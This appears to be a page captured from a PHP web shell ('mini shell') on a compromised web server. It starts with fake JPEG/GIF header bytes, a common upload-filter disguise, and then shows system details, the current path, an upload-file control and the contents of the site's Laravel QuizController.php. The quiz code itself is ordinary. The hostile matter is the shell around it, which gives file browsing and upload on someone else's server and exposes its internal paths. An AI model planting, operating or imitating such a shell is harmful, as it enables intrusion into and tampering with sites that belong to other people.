ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/yapwebtv.com/app/Http/Controllers/Site/
Upload File :
Current File : /var/www/yapwebtv.com/app/Http/Controllers/Site/QuizController.php

<?php

namespace App\Http\Controllers\Site;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use Modules\Post\Entities\Post;
use Modules\Post\Entities\QuizQuestion;

class QuizController extends Controller
{
    public function getAnswerArray(Request $request){
        $post_id = $request->post_id;

        $questions = Post::find($post_id)->quizQuestions;

        $array_quiz_answers = array();

        if (!empty($questions)) :
            foreach ($questions as $key => $question):
                $correct_answer = $this->getCorrectAnswer($question->id);
                if (!empty($correct_answer)):
                    $item = array($question->id, $correct_answer->id);
                    array_push($array_quiz_answers, $item);
                endif;
            endforeach;
        endif;

        $result = 1;

        return response()->json([$result , $array_quiz_answers]);
    }

    public function getResultArray(Request $request){
        $post_id = $request->post_id;

        $quiz_post_results = Post::find($post_id)->quizResults;

        $quiz_results = array();

        if (!empty($quiz_post_results)):
            foreach ($quiz_post_results as $key => $quizResult):

                $html = view('site.pages.article.partials.contents.trivia-result', compact('quizResult'))->render();

                $item = array($quizResult->id, $quizResult->min_correct, $quizResult->max_correct, $html);

                array_push($quiz_results, $item);
            endforeach;
        endif;

        $result = 1;

        return response()->json([$result , $quiz_results]);
    }

    public function getCorrectAnswer($question_id){
        $questionAnswer = QuizQuestion::find($question_id)->quizAnswers->where('is_correct' , 1)->first();

        return $questionAnswer;
    }
}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST